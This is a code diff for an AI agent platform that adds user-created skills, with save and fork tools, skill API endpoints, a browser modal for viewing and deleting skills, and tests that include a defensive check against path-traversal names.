"""传 container_skills_dir=/sandbox/skills → header 用容器路径,且不漏 host 路径。""" """container_root=/sandbox/skills → header 用容器路径,且不漏 host 路径。"""
tool = LoadSkillTool( registry = SkillRegistry(
registry=self.registry, SkillSource(self.skills_dir, "builtin", "/sandbox/skills")
container_skills_dir="/sandbox/skills",
) )
tool = LoadSkillTool(registry=registry)
out = tool.execute(name="demo") out = tool.execute(name="demo")
self.assertIn("dir=/sandbox/skills/demo", out) self.assertIn("dir=/sandbox/skills/demo", out)
# host 临时目录路径不应出现在 header(防止改写不彻底) # host 临时目录路径不应出现在 header(防止改写不彻底)
host_path = str((self.skills_dir / "demo")) host_path = str((self.skills_dir / "demo"))
self.assertNotIn(host_path, out) self.assertNotIn(host_path, out)
# body 不变
self.assertIn("# Demo body", out) self.assertIn("# Demo body", out)
def test_docker_backend_strips_trailing_slash(self): def test_docker_backend_strips_trailing_slash(self):
"""container_skills_dir 带末尾斜杠 → 拼接路径不应出现双斜杠。""" """container_root 带末尾斜杠 → 拼接路径不应出现双斜杠。"""
tool = LoadSkillTool( registry = SkillRegistry(
registry=self.registry, SkillSource(self.skills_dir, "builtin", "/sandbox/skills/")
container_skills_dir="/sandbox/skills/",
) )
tool = LoadSkillTool(registry=registry)
out = tool.execute(name="demo") out = tool.execute(name="demo")
self.assertIn("dir=/sandbox/skills/demo", out) self.assertIn("dir=/sandbox/skills/demo", out)
self.assertNotIn("//demo", out) self.assertNotIn("//demo", out)
def test_unknown_skill_returns_error(self): def test_unknown_skill_returns_error(self):
tool = LoadSkillTool(registry=self.registry) registry = SkillRegistry(self.skills_dir)
tool = LoadSkillTool(registry=registry)
out = tool.execute(name="nonexistent") out = tool.execute(name="nonexistent")
self.assertIn("not found", out) self.assertIn("not found", out)
self.assertIn("demo", out) # available list self.assertIn("demo", out) # available list

205
tests/test_user_skills.py Normal file
View File

@ -0,0 +1,205 @@
"""用户 skill: 多来源覆盖(user wins)、加载失败收集、save_skill / fork_skill。"""
from __future__ import annotations
import tempfile
import unittest
from pathlib import Path
from core.skills import SkillRegistry, SkillSource
from tools.skill_authoring import ForkSkillTool, SaveSkillTool
def _write_skill(root: Path, name: str, desc: str, body: str = "body") -> Path:
d = root / name
d.mkdir(parents=True, exist_ok=True)
(d / "SKILL.md").write_text(
f"---\nname: {name}\ndescription: {desc}\n---\n\n# {name}\n\n{body}\n",
encoding="utf-8",
)
return d
class TestMultiSourceRegistry(unittest.TestCase):
def setUp(self):
self.tmp = tempfile.TemporaryDirectory()
self.root = Path(self.tmp.name)
self.builtin = self.root / "builtin"
self.user = self.root / "user"
self.builtin.mkdir()
self.user.mkdir()
def tearDown(self):
self.tmp.cleanup()
def _registry(self):
return SkillRegistry([
SkillSource(self.builtin, "builtin"),
SkillSource(self.user, "user"),
])
def test_user_overrides_builtin(self):
_write_skill(self.builtin, "ppt", "内置 ppt")
_write_skill(self.user, "ppt", "我的 ppt")
reg = self._registry()
self.assertEqual(reg.get("ppt").source, "user")
self.assertEqual(reg.get("ppt").description, "我的 ppt")
self.assertIn("ppt", reg.user_overrides)
def test_distinct_names_coexist(self):
_write_skill(self.builtin, "ppt", "内置 ppt")
_write_skill(self.user, "ppt-mine", "我的 ppt")
reg = self._registry()
self.assertEqual(reg.get("ppt").source, "builtin")
self.assertEqual(reg.get("ppt-mine").source, "user")
self.assertNotIn("ppt-mine", reg.user_overrides)
def test_discovery_block_tags_user_skills(self):
_write_skill(self.builtin, "coding", "内置 coding")
_write_skill(self.user, "ppt", "我的") # 不撞内置
_write_skill(self.builtin, "ppt", "内置 ppt")
reg = self._registry()
block = reg.discovery_block()
self.assertIn("[你的·已覆盖内置]", block) # user ppt 覆盖 builtin ppt
def test_bad_user_skill_collected_not_crash(self):
_write_skill(self.builtin, "coding", "内置")
# 用户 skill: 缺 description
bad = self.user / "broken"
bad.mkdir()
(bad / "SKILL.md").write_text("---\nname: broken\n---\nbody", encoding="utf-8")
reg = self._registry()
self.assertIn("coding", reg.skills) # 没崩,内置正常
self.assertNotIn("broken", reg.skills) # 坏的没收
self.assertTrue(any(n == "broken" for n, _ in reg.load_errors))
self.assertIn("未加载", reg.discovery_block())
def test_bad_yaml_user_skill_collected(self):
bad = self.user / "badyaml"
bad.mkdir()
(bad / "SKILL.md").write_text("---\nname: [unclosed\n---\nbody", encoding="utf-8")
reg = self._registry()
self.assertTrue(any(n == "badyaml" for n, _ in reg.load_errors))
def test_missing_user_dir_is_noop(self):
_write_skill(self.builtin, "coding", "内置")
reg = SkillRegistry([
SkillSource(self.builtin, "builtin"),
SkillSource(self.root / "does-not-exist", "user"),
])
self.assertIn("coding", reg.skills)
self.assertEqual(reg.load_errors, [])
class TestSaveSkillTool(unittest.TestCase):
def setUp(self):
self.tmp = tempfile.TemporaryDirectory()
self.root = Path(self.tmp.name)
self.user_skills = self.root / ".skills"
self.builtin = self.root / "builtin"
self.builtin.mkdir()
def tearDown(self):
self.tmp.cleanup()
def _tool(self):
reg = SkillRegistry([
SkillSource(self.builtin, "builtin"),
SkillSource(self.user_skills, "user"),
])
return SaveSkillTool(self.user_skills, reg)
def test_save_writes_file(self):
out = self._tool().execute(
name="mine",
content="---\nname: mine\ndescription: 我的 skill\n---\n\n# Mine\n",
)
self.assertIn("saved", out)
self.assertTrue((self.user_skills / "mine" / "SKILL.md").exists())
def test_reject_bad_name(self):
out = self._tool().execute(name="../evil", content="---\ndescription: x\n---\n")
self.assertIn("[Error]", out)
self.assertFalse((self.user_skills / "../evil").exists())
def test_reject_missing_description(self):
out = self._tool().execute(name="mine", content="---\nname: mine\n---\nbody")
self.assertIn("[Error]", out)
self.assertIn("description", out)
def test_reject_bad_yaml(self):
out = self._tool().execute(name="mine", content="---\nname: [bad\n---\nbody")
self.assertIn("[Error]", out)
def test_reject_name_mismatch(self):
out = self._tool().execute(
name="mine",
content="---\nname: other\ndescription: x\n---\n",
)
self.assertIn("[Error]", out)
self.assertIn("不一致", out)
def test_warns_on_builtin_override(self):
_write_skill(self.builtin, "ppt", "内置 ppt")
out = self._tool().execute(
name="ppt",
content="---\nname: ppt\ndescription: 我的 ppt\n---\n",
)
self.assertIn("saved", out)
self.assertIn("覆盖内置", out)
class TestForkSkillTool(unittest.TestCase):
def setUp(self):
self.tmp = tempfile.TemporaryDirectory()
self.root = Path(self.tmp.name)
self.user_skills = self.root / ".skills"
self.builtin = self.root / "builtin"
self.builtin.mkdir()
# 带脚本的内置 skill
d = _write_skill(self.builtin, "ppt", "内置 ppt")
(d / "scripts").mkdir()
(d / "scripts" / "helper.py").write_text("X = 1\n", encoding="utf-8")
def tearDown(self):
self.tmp.cleanup()
def _tool(self):
reg = SkillRegistry([
SkillSource(self.builtin, "builtin"),
SkillSource(self.user_skills, "user"),
])
return ForkSkillTool(self.user_skills, reg)
def test_fork_copies_scripts_and_renames(self):
out = self._tool().execute(src="ppt", new_name="ppt-mine")
self.assertIn("forked", out)
dest = self.user_skills / "ppt-mine"
self.assertTrue((dest / "scripts" / "helper.py").exists()) # 脚本带过来
md = (dest / "SKILL.md").read_text(encoding="utf-8")
self.assertIn("name: ppt-mine", md) # frontmatter name 对齐新名
self.assertNotIn("name: ppt\n", md)
def test_forked_renamed_skill_does_not_shadow_builtin(self):
self._tool().execute(src="ppt", new_name="ppt-mine")
reg = SkillRegistry([
SkillSource(self.builtin, "builtin"),
SkillSource(self.user_skills, "user"),
])
# 改了名,内置 ppt 不被遮,新名独立存在
self.assertEqual(reg.get("ppt").source, "builtin")
self.assertEqual(reg.get("ppt-mine").source, "user")
def test_reject_existing_dest(self):
self._tool().execute(src="ppt", new_name="ppt-mine")
out = self._tool().execute(src="ppt", new_name="ppt-mine")
self.assertIn("[Error]", out)
self.assertIn("已存在", out)
def test_reject_unknown_src(self):
out = self._tool().execute(src="nope", new_name="x")
self.assertIn("[Error]", out)
self.assertIn("不存在", out)
if __name__ == "__main__":
unittest.main()

178
tools/skill_authoring.py Normal file
View File

@ -0,0 +1,178 @@
"""用户 skill 创作工具: save_skill / fork_skill。
为什么是 host-side typed tool(而非让 agent fs/shell ):
- fs/shell base_dir 锚在进程 cwd(host)或容器 workdir(docker),**都不指向**
`user_root/.skills` 用相对路径写 `.skills` 只在 docker 下碰巧成立,host 下会
写错地方, backend 不可靠
- host-side 工具直接知道 `user_root/.skills`,一个落点两种 backend 通吃(
seedream / DocumentDownload 直接 host 侧写 working_dir 完全一致的范式)
- docker user_root 整个 bind /workspace,host 侧写进 .skills 的文件在容器内
`/workspace/.skills/...` 自动可见(fork 带过来的脚本随之可跑)
这两个工具不在 `executor_docker.CONTAINER_TOOLS` ,故恒在 host 侧执行
"""
from __future__ import annotations
import re
import shutil
from pathlib import Path
from typing import Optional
from core.skills import SkillRegistry, parse_frontmatter
from .base import Tool
# skill 名:小写字母 / 数字开头,可含 _ -,≤64。挡住路径穿越(`../`、`/`)、空格、大写。
_SKILL_NAME_RE = re.compile(r"^[a-z0-9][a-z0-9_-]{0,63}$")
_FRONTMATTER_RE = re.compile(r"^---\n(.*?)\n---\n?", re.DOTALL)
def _validate_skill_name(name: str) -> Optional[str]:
"""返回错误串(不合法)或 None(合法)。"""
if not name or not _SKILL_NAME_RE.match(name):
return (
f"skill 名 '{name}' 不合法:须小写字母/数字开头,只含小写字母、数字、_ 、-,"
"长度 ≤64(用于目录名,故挡空格 / 大写 / 路径分隔符)"
)
return None
def _set_frontmatter_name(text: str, new_name: str) -> str:
"""把 markdown frontmatter 里的 name 改成 new_name(只动 name 行,不重排其余字段)。
fork 后复制来的 SKILL.md 仍带原 skill `name:`,不改的话注册时会用旧名
与被 fork 的内置同名反而覆盖了内置 fork 落盘后必须把 name 对齐到 new_name
"""
m = _FRONTMATTER_RE.match(text)
if not m:
return f"---\nname: {new_name}\n---\n\n" + text
fm = m.group(1)
if re.search(r"(?m)^name:", fm):
fm = re.sub(r"(?m)^name:.*$", f"name: {new_name}", fm, count=1)
else:
fm = f"name: {new_name}\n" + fm
return f"---\n{fm}\n---\n" + text[m.end():]
class SaveSkillTool(Tool):
name = "save_skill"
description = (
"Create or overwrite one of the USER's own skills at .skills/<name>/SKILL.md. "
"Use to author a skill from scratch or save an edited copy. The content must be a "
"full SKILL.md with YAML frontmatter containing `name` and `description` "
"(description is the routing blurb shown in the skill list — make it specific: "
"trigger words + when NOT to use). Takes effect from the user's NEXT message. "
"To copy a built-in skill that bundles scripts (e.g. ppt), use fork_skill instead "
"so the scripts come along."
)
parameters = {
"type": "object",
"properties": {
"name": {
"type": "string",
"description": "Skill name = directory name (lowercase, [a-z0-9_-], <=64). "
"Same name as a built-in => overrides it for this user; pick a new name to keep both.",
},
"content": {
"type": "string",
"description": "Full SKILL.md text including --- frontmatter --- (name + description).",
},
},
"required": ["name", "content"],
}
def __init__(
self,
user_skills_dir: Path,
registry: SkillRegistry,
base_dir: Optional[Path] = None,
user_root: Optional[Path] = None,
) -> None:
super().__init__(base_dir, user_root=user_root)
self.user_skills_dir = Path(user_skills_dir)
self.registry = registry
def execute(self, name: str, content: str) -> str:
err = _validate_skill_name(name)
if err is not None:
return f"[Error] {err}"
# frontmatter 必须合法且有 description —— 写时就挡住"加载失败"黑洞
try:
meta, _ = parse_frontmatter(content)
except Exception as e: # yaml.YAMLError 等
return f"[Error] frontmatter YAML 非法,无法保存:{e}"
if not (meta.get("description") or "").strip():
return "[Error] frontmatter 缺 description —— 这是 skill 列表里的路由说明,必填(写清触发词 + 何时别用)"
fm_name = (meta.get("name") or "").strip()
if fm_name and fm_name != name:
return (
f"[Error] frontmatter 里 name='{fm_name}' 与目标名 '{name}' 不一致 —— "
"请改成一致(或省略 frontmatter 的 name,默认用目录名)"
)
skill_dir = self.user_skills_dir / name
skill_dir.mkdir(parents=True, exist_ok=True)
(skill_dir / "SKILL.md").write_text(content, encoding="utf-8")
builtin = self.registry.get(name)
note = ""
if builtin is not None and builtin.source == "builtin":
note = f" (注意:与内置 skill '{name}' 同名,你这条将覆盖内置;想并存请改名)"
return f"[saved skill '{name}' to .skills/{name}/SKILL.md,下条消息生效]{note}"
class ForkSkillTool(Tool):
name = "fork_skill"
description = (
"Copy an existing skill (built-in or one of the user's own) — INCLUDING its bundled "
"scripts/assets — into the user's .skills/<new_name>/, so they can customize it. "
"This is the right way to 'copy zcbot's ppt skill and tweak it': fork first, then "
"edit the copied SKILL.md (with the edit tool or save_skill). The new copy's "
"frontmatter name is auto-set to new_name. Takes effect from the user's NEXT message."
)
parameters = {
"type": "object",
"properties": {
"src": {"type": "string", "description": "Name of the skill to copy (as listed in the skill discovery block)."},
"new_name": {
"type": "string",
"description": "New skill name (lowercase, [a-z0-9_-], <=64). Must not already exist under .skills/.",
},
},
"required": ["src", "new_name"],
}
def __init__(
self,
user_skills_dir: Path,
registry: SkillRegistry,
base_dir: Optional[Path] = None,
user_root: Optional[Path] = None,
) -> None:
super().__init__(base_dir, user_root=user_root)
self.user_skills_dir = Path(user_skills_dir)
self.registry = registry
def execute(self, src: str, new_name: str) -> str:
err = _validate_skill_name(new_name)
if err is not None:
return f"[Error] {err}"
skill = self.registry.get(src)
if skill is None:
available = ", ".join(self.registry.skills.keys()) or "(none)"
return f"[Error] 源 skill '{src}' 不存在。可选:{available}"
dest = self.user_skills_dir / new_name
if dest.exists():
return f"[Error] .skills/{new_name}/ 已存在 —— 换个名字,或先删旧的"
self.user_skills_dir.mkdir(parents=True, exist_ok=True)
# copytree 整目录(SKILL.md + scripts/ + references/ + assets/ 一并带过来)
shutil.copytree(skill.skill_dir, dest)
md = dest / "SKILL.md"
n_files = sum(1 for _ in dest.rglob("*") if _.is_file())
if md.exists():
md.write_text(
_set_frontmatter_name(md.read_text(encoding="utf-8"), new_name),
encoding="utf-8",
)
return (
f"[forked '{src}' → .skills/{new_name}/ ({n_files} 个文件,frontmatter name 已设为 "
f"'{new_name}'),下条消息生效。现在可以编辑 .skills/{new_name}/SKILL.md 改造它]"
)

View File

@ -36,16 +36,9 @@ class LoadSkillTool(Tool):
registry: SkillRegistry, registry: SkillRegistry,
base_dir: Optional[Path] = None, base_dir: Optional[Path] = None,
user_root: Optional[Path] = None, user_root: Optional[Path] = None,
container_skills_dir: Optional[str] = None,
) -> None: ) -> None:
super().__init__(base_dir, user_root=user_root) super().__init__(base_dir, user_root=user_root)
self.registry = registry self.registry = registry
# docker backend 下,fs / shell / run_python 都在容器里跑,host skills/ bind
# mount 到 /sandbox/skills:ro(pool.py)。header 里的 dir 要给容器内可用路径
# —— 否则 LLM 拿 host 绝对路径(`/home/.../skills/<name>`)去 read references
# 时容器看不见,抓瞎报 file not found。POSIX 串(容器恒为 Linux),与 host OS 无关。
# None = host backend,保持 skill.skill_dir 原 host 绝对路径。
self.container_skills_dir = container_skills_dir
def execute(self, name: str) -> str: def execute(self, name: str) -> str:
skill = self.registry.get(name) skill = self.registry.get(name)
@ -53,9 +46,10 @@ class LoadSkillTool(Tool):
available = ", ".join(self.registry.skills.keys()) or "(none)" available = ", ".join(self.registry.skills.keys()) or "(none)"
return f"[Error] skill '{name}' not found. Available: {available}" return f"[Error] skill '{name}' not found. Available: {available}"
body = skill.full_content() body = skill.full_content()
if self.container_skills_dir is not None: # docker backend 下 fs/shell/run_python 都在容器里跑,skill 目录按来源 bind 到
dir_str = f"{self.container_skills_dir.rstrip('/')}/{skill.name}" # 不同挂载点(内置 → /sandbox/skills:ro,用户 → /workspace/.skills);registry
else: # 据 skill.source 给容器内路径,否则 LLM 拿 host 绝对路径在沙盒里 read 不到
dir_str = str(skill.skill_dir) # references。host backend → None,退回 skill_dir 原 host 绝对路径。
dir_str = self.registry.container_dir(skill) or str(skill.skill_dir)
header = f"[skill={skill.name}, dir={dir_str}]\n" header = f"[skill={skill.name}, dir={dir_str}]\n"
return header + body return header + body

View File

@ -1129,25 +1129,77 @@ def create_app() -> FastAPI:
@app.get("/v1/skills", tags=["skills"]) @app.get("/v1/skills", tags=["skills"])
def list_skills(user_id: UUID = Depends(require_user)): def list_skills(user_id: UUID = Depends(require_user)):
"""列出当前可用的 skill(智能体类型),供新建 task 时下拉选择。 """列出当前用户可用的 skill(内置 + 自己的),供新建 task 时下拉选择。
每次请求现扫 `skills/<name>/SKILL.md` frontmatter(~9 个文件,稳态 ~3ms), 每次请求现扫(内置 `skills/<name>/SKILL.md` + 用户 `.skills/<name>/SKILL.md`,
以便加 / / skill 目录后无需重启 web 即可在前端下拉看到 稳态 ~3ms), / / skill 目录后无需重启即可在前端看到
`core/agent_builder.py::build_agent` 同样每次新建 SkillRegistry, `core/agent_builder.py::build_agent` 同样每次新建 SkillRegistry,所以 agent 内部
所以 agent 内部 `load_skill` 工具与 system prompt discovery 也是热的 `load_skill` system prompt discovery 也是热的源标 `source`(builtin/user)+
排序按 name 升序(registry 内部 iterdir + sorted) `overrides_builtin`(用户 skill 覆盖了同名内置)`load_errors` 列出用户 skill
frontmatter 问题未加载的,供前端提示
""" """
from core.agent_builder import load_config from core.agent_builder import build_skill_registry, load_config, resolve_workspace
from core.paths import ROOT
from core.skills import SkillRegistry
cfg = load_config() cfg = load_config()
reg = SkillRegistry(ROOT / cfg.get("skills_dir", "skills")) ws = resolve_workspace(None, cfg)
reg = build_skill_registry(cfg, ws, user_id, docker=False)
return { return {
"skills": [ "skills": [
{"name": s.name, "description": s.description} {
for s in reg.skills.values() "name": s.name,
] "description": s.description,
"source": s.source,
"overrides_builtin": s.name in reg.user_overrides,
} }
for s in reg.skills.values()
],
"load_errors": [{"name": n, "reason": r} for n, r in reg.load_errors],
}
@app.get("/v1/skills/{name}", tags=["skills"])
def get_skill(name: str, user_id: UUID = Depends(require_user)):
"""返回某 skill 的完整 SKILL.md 正文(供前端 modal 展开查看)。
内置 + 用户两来源都可查;同名时按 user wins 取用户那份( agent 看到的一致)
"""
from core.agent_builder import build_skill_registry, load_config, resolve_workspace
cfg = load_config()
ws = resolve_workspace(None, cfg)
reg = build_skill_registry(cfg, ws, user_id, docker=False)
skill = reg.get(name)
if skill is None:
raise HTTPException(404, f"skill not found: {name!r}")
try:
content = skill.full_content()
except OSError as e:
raise HTTPException(500, f"读取 SKILL.md 失败: {e}")
return {
"name": skill.name,
"source": skill.source,
"overrides_builtin": skill.name in reg.user_overrides,
"content": content,
}
@app.delete("/v1/skills/{name}", status_code=204, tags=["skills"])
def delete_skill(name: str, user_id: UUID = Depends(require_user)):
"""删除当前用户的私有 skill(`.skills/<name>/` 整目录)。
只能删 user 内置 skill 不可删(404,等同"用户那里没有这个可删的")
`.skills` 在文件面板隐藏,这是 UI 上删除自己 skill 的唯一入口
"""
import shutil
from core.agent_builder import build_skill_registry, load_config, resolve_workspace, user_root
cfg = load_config()
ws = resolve_workspace(None, cfg)
reg = build_skill_registry(cfg, ws, user_id, docker=False)
skill = reg.get(name)
if skill is None or skill.source != "user":
raise HTTPException(404, f"no user skill to delete: {name!r}")
# 防穿越:目标必须落在该用户的 .skills 子树内(skill_dir 来自扫描,理应如此,仍兜一层)
user_skills_dir = (user_root(ws, user_id) / ".skills").resolve()
target = skill.skill_dir.resolve()
if user_skills_dir not in target.parents:
raise HTTPException(400, "拒绝删除 .skills 之外的路径")
shutil.rmtree(target)
@app.delete("/v1/tasks/{task_id}", status_code=204, tags=["tasks"]) @app.delete("/v1/tasks/{task_id}", status_code=204, tags=["tasks"])
def delete_task(task_id: str, user_id: UUID = Depends(require_user)): def delete_task(task_id: str, user_id: UUID = Depends(require_user)):

View File

@ -13,8 +13,8 @@
bcrypt + INSERT users;撤用户 `DELETE FROM users WHERE email=...`(messages CASCADE, bcrypt + INSERT users;撤用户 `DELETE FROM users WHERE email=...`(messages CASCADE,
tasks 通过 FK ,要先 DELETE user tasks) tasks 通过 FK ,要先 DELETE user tasks)
OIDC(D')替换:只动 `/v1/auth/login` 实现(校验 ID token 代替 key);password 路径 OIDC(D')替换:只动 `/v1/auth/login` 实现(校验 ID token 代替 key);**邮箱密码路径
真发布时下线 长期保留, OIDC 并存**(自有账号 + 同事试用不依赖外部 IdP)
""" """
from __future__ import annotations from __future__ import annotations

View File

@ -200,6 +200,66 @@
display: flex; gap: 8px; justify-content: flex-end; display: flex; gap: 8px; justify-content: flex-end;
} }
/* ───── 左侧 rail 底部「我的资源」入口(技能,后续可加记忆)───── */
#rail-resources {
flex-shrink: 0; border-top: 1px solid var(--border);
padding: 8px; display: flex; gap: 6px;
}
#rail-resources > button { flex: 1; font-size: 13px; }
/* ───── 技能查看 modal ───── */
#skills-modal { z-index: 112; }
#skills-modal .card {
width: 720px; max-width: 92vw; max-height: 84vh;
display: flex; flex-direction: column;
}
#skills-modal h3 {
margin: 0; padding: 12px 16px; font-size: 16px;
border-bottom: 1px solid var(--border);
display: flex; align-items: center; gap: 8px;
}
#skills-modal h3 .spacer { flex: 1; }
#skills-modal .sk-x {
border: none; background: transparent; font-size: 16px;
cursor: pointer; color: var(--muted); padding: 2px 6px;
}
#skills-modal #sk-back { margin-right: 4px; }
#skills-modal .sk-detail-name { font-weight: 600; }
#skills-modal .body { padding: 12px 16px; overflow: auto; }
.sk-group-title { font-weight: 600; font-size: 12px; color: var(--muted); margin: 0 0 8px; }
.sk-item {
display: flex; align-items: center; gap: 10px;
padding: 8px 10px; border: 1px solid var(--border);
border-radius: var(--r-md); margin-bottom: 6px; cursor: pointer;
}
.sk-item:hover { border-color: var(--accent); background: #fafafa; }
.sk-item-main { flex: 1; min-width: 0; }
.sk-item .sk-name { font-weight: 600; font-size: 13px; }
.sk-item .sk-desc {
font-size: 12px; color: var(--muted); margin-top: 2px;
overflow: hidden; text-overflow: ellipsis; white-space: nowrap;
}
.sk-badge {
font-size: 10px; font-weight: 500; color: var(--accent);
border: 1px solid var(--accent); border-radius: 8px; padding: 0 5px;
margin-left: 4px; white-space: nowrap;
}
.sk-del { flex-shrink: 0; }
.sk-loaderr {
margin-top: 14px; padding: 8px 10px; font-size: 12px;
border: 1px solid var(--accent); border-radius: var(--r-md);
color: var(--accent); background: rgba(220,80,80,0.05);
}
.sk-detail { font-size: 13px; line-height: 1.6; }
.sk-detail pre {
white-space: pre-wrap; word-break: break-word;
background: #f5f5f5; padding: 10px; border-radius: var(--r-md); overflow: auto;
}
.sk-detail code { word-break: break-word; }
.sk-detail h1, .sk-detail h2, .sk-detail h3 { margin: 14px 0 6px; }
.sk-detail table { border-collapse: collapse; }
.sk-detail th, .sk-detail td { border: 1px solid var(--border); padding: 4px 8px; }
/* ───── 3-pane layout ───── */ /* ───── 3-pane layout ───── */
#app { display: none; height: 100vh; } #app { display: none; height: 100vh; }
#app.ready { #app.ready {
@ -990,6 +1050,18 @@
</div> </div>
</div> </div>
<!-- ───── 技能查看 modal ───── -->
<div id="skills-modal" class="modal">
<div class="card">
<h3>
<span id="sk-title">技能</span>
<span class="spacer"></span>
<button id="sk-close" class="sk-x" title="关闭"></button>
</h3>
<div class="body" id="sk-body"><div class="muted" style="padding:8px;">加载中…</div></div>
</div>
</div>
<!-- ───── embed-mode waiting overlay (token 握手中) ───── --> <!-- ───── embed-mode waiting overlay (token 握手中) ───── -->
<div id="embed-waiting"> <div id="embed-waiting">
<div class="spinner"></div> <div class="spinner"></div>
@ -1056,6 +1128,9 @@
<div id="task-list"><div class="empty">加载中…</div></div> <div id="task-list"><div class="empty">加载中…</div></div>
<div id="task-sentinel" style="padding:10px 12px;font-size:11px;color:var(--muted);text-align:center;min-height:1px;"></div> <div id="task-sentinel" style="padding:10px 12px;font-size:11px;color:var(--muted);text-align:center;min-height:1px;"></div>
</div> </div>
<div id="rail-resources" title="我的资源">
<button id="hd-skills" title="查看平台 / 我的 skill">🧩 技能</button>
</div>
</div> </div>
<div id="split-left" class="splitter" role="separator" aria-orientation="vertical" title="拖拽调整任务栏宽度"></div> <div id="split-left" class="splitter" role="separator" aria-orientation="vertical" title="拖拽调整任务栏宽度"></div>

View File

@ -6,6 +6,7 @@ import { humanSize, fmtTime } from "./format.js";
import { $ } from "./dom.js"; import { $ } from "./dom.js";
import { api } from "./api.js"; import { api } from "./api.js";
import { closeChpwModal } from "./auth.js"; import { closeChpwModal } from "./auth.js";
import { closeSkillsModal } from "./skills.js";
import { closeFilePreview, closeMiniPreview } from "./preview.js"; import { closeFilePreview, closeMiniPreview } from "./preview.js";
import { closeSrcPicker, loadFiles } from "./files.js"; import { closeSrcPicker, loadFiles } from "./files.js";
import { loadFolderSuggestions } from "./newtask.js"; import { loadFolderSuggestions } from "./newtask.js";
@ -58,6 +59,7 @@ document.addEventListener("keydown", (e) => {
if (e.key !== "Escape") return; if (e.key !== "Escape") return;
// 多模态共存:优先关靠前栈顶 — 小预览(z 96)→ 选入(z 95)→ 文件预览(z 90)→ 新任务(z 80) // 多模态共存:优先关靠前栈顶 — 小预览(z 96)→ 选入(z 95)→ 文件预览(z 90)→ 新任务(z 80)
if ($("chpw-modal").classList.contains("show")) { closeChpwModal(); return; } if ($("chpw-modal").classList.contains("show")) { closeChpwModal(); return; }
if ($("skills-modal").classList.contains("show")) { closeSkillsModal(); return; }
if ($("mini-preview-modal").classList.contains("show")) { closeMiniPreview(); return; } if ($("mini-preview-modal").classList.contains("show")) { closeMiniPreview(); return; }
if ($("src-picker-modal").classList.contains("show")) { closeSrcPicker(); return; } if ($("src-picker-modal").classList.contains("show")) { closeSrcPicker(); return; }
if ($("file-preview-modal").classList.contains("show")) { closeFilePreview(); return; } if ($("file-preview-modal").classList.contains("show")) { closeFilePreview(); return; }

112
web/static/js/skills.js Normal file
View File

@ -0,0 +1,112 @@
// 技能 modal:查看「平台 skill」/「我的 skill」两组列表,点任一项展开完整 SKILL.md,
// 「我的」每项可删除(平台 skill 只读)。左侧 rail 底部「技能」按钮触发。
// 后端:GET /v1/skills(列表)、GET /v1/skills/{name}(正文)、DELETE /v1/skills/{name}(只删 user 源)。
// 创建 / 改 / fork 仍走对话(save_skill / fork_skill / skill-creator)。
import { $ } from "./dom.js";
import { state } from "./state.js";
import { api } from "./api.js";
import { escapeHtml } from "./format.js";
import { renderMd, highlightIn } from "./markdown.js";
function openSkillsModal() {
$("skills-modal").classList.add("show");
renderList();
}
export function closeSkillsModal() {
$("skills-modal").classList.remove("show");
}
function itemHtml(s) {
const badge = s.overrides_builtin
? ' <span class="sk-badge">已覆盖平台同名</span>'
: "";
const del =
s.source === "user"
? `<button class="sk-del small danger" data-del="${escapeHtml(s.name)}" title="删除我的这个 skill">删除</button>`
: "";
return `<div class="sk-item" data-name="${escapeHtml(s.name)}">
<div class="sk-item-main">
<div class="sk-name">${escapeHtml(s.name)}${badge}</div>
<div class="sk-desc">${escapeHtml(s.description || "")}</div>
</div>${del}
</div>`;
}
async function renderList() {
const body = $("sk-body");
$("sk-title").textContent = "技能";
body.innerHTML = '<div class="muted" style="padding:8px;">加载中…</div>';
let data;
try {
data = await api("GET", "/v1/skills");
} catch (e) {
body.innerHTML = `<div class="err" style="padding:8px;">加载失败: ${escapeHtml(e.message)}</div>`;
return;
}
state.skills = data.skills || []; // 顺手刷新新建任务下拉的缓存
const platform = state.skills.filter((s) => s.source === "builtin");
const mine = state.skills.filter((s) => s.source === "user");
let html = "";
html += `<div class="sk-group-title">平台 skill (${platform.length})</div>`;
html +=
platform.map(itemHtml).join("") ||
'<div class="muted" style="padding:4px 8px;">(无)</div>';
html += `<div class="sk-group-title" style="margin-top:14px;">我的 skill (${mine.length})</div>`;
html += mine.length
? mine.map(itemHtml).join("")
: '<div class="muted" style="padding:4px 8px;">还没有。让助手「帮我做个 skill」或「把某个平台 skill fork 成我的」即可创建。</div>';
if (data.load_errors && data.load_errors.length) {
const errs = data.load_errors
.map((e) => `${escapeHtml(e.name)}(${escapeHtml(e.reason)})`)
.join("");
html += `<div class="sk-loaderr">⚠ ${data.load_errors.length} 个 skill 因格式问题未加载:${errs}</div>`;
}
body.innerHTML = html;
}
async function showDetail(name) {
const body = $("sk-body");
$("sk-title").innerHTML = `<button id="sk-back" class="small"> 返回</button><span class="sk-detail-name">${escapeHtml(name)}</span>`;
$("sk-back").onclick = renderList;
body.innerHTML = '<div class="muted" style="padding:8px;">加载中…</div>';
let data;
try {
data = await api("GET", "/v1/skills/" + encodeURIComponent(name));
} catch (e) {
body.innerHTML = `<div class="err" style="padding:8px;">加载失败: ${escapeHtml(e.message)}</div>`;
return;
}
body.innerHTML = `<div class="sk-detail">${renderMd(data.content)}</div>`;
highlightIn(body);
}
// ───── 顶层绑定 ─────
$("hd-skills").onclick = openSkillsModal;
$("sk-close").onclick = closeSkillsModal;
$("skills-modal").addEventListener("click", (e) => {
if (e.target.id === "skills-modal") closeSkillsModal(); // 点遮罩关闭
});
// 列表区事件委托:删除(冒泡到 [data-del])优先于点开详情(.sk-item)
$("sk-body").addEventListener("click", async (e) => {
const del = e.target.closest("[data-del]");
if (del) {
e.stopPropagation();
const name = del.getAttribute("data-del");
if (!confirm(`删除你的 skill「${name}」?不可撤销(平台同名 skill 不受影响)。`)) return;
del.disabled = true;
try {
await api("DELETE", "/v1/skills/" + encodeURIComponent(name));
state.skills = null; // 失效缓存,新建任务下拉下次重拉
renderList();
} catch (err) {
alert("删除失败: " + err.message);
del.disabled = false;
}
return;
}
const item = e.target.closest(".sk-item");
if (item) showDetail(item.getAttribute("data-name"));
});